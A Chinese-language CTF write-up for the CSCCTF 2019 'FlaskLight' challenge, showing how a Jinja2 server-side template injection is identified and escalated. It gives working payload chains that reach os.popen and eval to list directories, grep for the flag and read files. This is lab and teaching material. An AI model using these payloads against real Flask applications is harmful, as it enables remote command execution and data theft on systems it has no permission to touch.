[CSCCTF 2019 Qual]FlaskLight
打开网页,在源代码的注释里发现提示用GET
传递search
参数,又发现这是一个Flask
网页,所以可能用到SSTI
注入,现在需要搞清楚这个网页是什么模板。按照图示步骤:
确定哪个模板注入的一般流程:
- 在疑似注入点的地方输入
${7*7}
,如果有结果为49
- 继续输入
a{*comment*}b
,成功则是smarty引擎
,以此类推
有些时候不同的模板引擎对同一输入{{7*'7'}}
都有结果
但是在Twig
中结果是49,在jinja2
中是7777777
。
References
SSTI-服务器端模板注入(Server-Side Template Injection)
[BJDCTF2020]Cookie is so stable
将search
的值改为{{7*'7'}}
发现网页显示是7777777
,所以确定是jinja2
模板。
通过对python的对象继承一步步来实现文件读取和命令执行,思路大抵为:
- 寻找父类
type:'object'
- 寻找子类
- 寻找关于命令执行或者文件操作的模块:
__class__
返回类所属的对象
__mro__
输出当前对象所调用的全部类包括其父类
__base__
同__mro__
用来寻找基类
__subclasses__
输出该类下所有的子类(返回列表)
__init__
类的初始化方法
__globals__
对包含函数全局变量的字典的引用
References
[Flask(Jinja2)服务端模板注入漏洞(SSTI)]学习简记
__mro__
与__base__
的区别在于,__mro__
返回的是一个对象所属的类继承的全部类,可以有很多个。__base__
返回的是其继承的基类,只有一个。__subclasses__
该模块是查询到的结果是一个类的全部子类,我们需要在这些子类中寻找可以利用的子类。这个模块返回的数据往往有很多,可以通过将这些数据存入到List
,通过list.index()
来输出所需要的的模块所在的位置。(我用的py脚本会附在下面)可以利用的子类:warnings.catch_warnings
(一般在59)、socket._socketobject
(一般在71)、site._Printer
等模块。warnings.catch_warinings
是没有内置OS
模块的需要导入OS
模块__builtins__
是python的内置模块,内含有python内置的函数。可以通过此模块来调用内置函数如:eval
、exec
、open
。也正是可以利用这些方法进行命令执行、文件读取- os模块提供了多数操作系统的功能接口函数。当os模块被导入后,它会自适应于不同的操作系统平台,根据不同的平台进行相应的操作。os模块中可以利用的函数:
system(command)
运行shell
命令、listdir(dirname)
列出dirname
下的目录和文件、popen
从一个命令打开一个管道进行文件读取等 - 区分
python2
和python3
可以查找__builtins__
中是否有file,具体图示参考下方链接👇。- 有file → python2
- 没有file → python3
References
寻找执行命令可以借助的类:
- 获取变量[]所属的类名
给search赋值{{[].__class__}}
,页面回显:<type 'list'>
- 获取list所继承的基类名
给search赋值{{[].__class__.__base__}}
,页面回显:<type 'object'>
- 获取所有继承自
object
的类
给search赋值{{[].__class__.__base__.__subclasses__()}}
,页面回显的是一个列表,这里面包含了所有继承自object
的类。
方法一 选择<class 'warnings.catch_warnings'>
执行命令
查看<class 'warnings.catch_warnings'>
是否内置os模块,给search赋值:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']}}
在页面回显中搜索:OS
,发现'OSError': <type 'exceptions.OSError'>
,说明<class 'warnings.catch_warnings'>
没有加载OS模块。所以在执行命令的时候需要自己加载OS模块。
搜索目录下带有flag字符串的文件名:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('**find / -name *flag***').read()")}}
输出结果没什么用,所以我们转而搜索根目录下带有flag内容的文件:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('grep -R flag /').read()")}}
等待时间可能比较长,最后得到flag。
也可以自己慢慢寻找flag文件,输出目录:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
慢慢找到flag文件就是/flasklight/coomme_geeeett_youur_flek
,因此输入:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__'].__builtins__['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
方法二 选择site._Printer
执行命令
查看<class 'site._Printer'>
是否内置os模块,给search
赋值:
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']}}
在页面回显中搜索:OS
,发现'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>
,说明<class 'site._Printer'>
加载了OS模块。所以在执行命令的时候不需要自己加载OS模块。
直接输入url:
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
得到flag。
References
方法三 利用file
{{''.__class__.__mro__[2].__subclasses__()[40]('/flasklight/coomme_geeeett_youur_flek').read() }}
也一样得到flag。
References
官方WP:
cscctf-problem/2019/qual/web/flasklight at master · sturmisch/cscctf-problem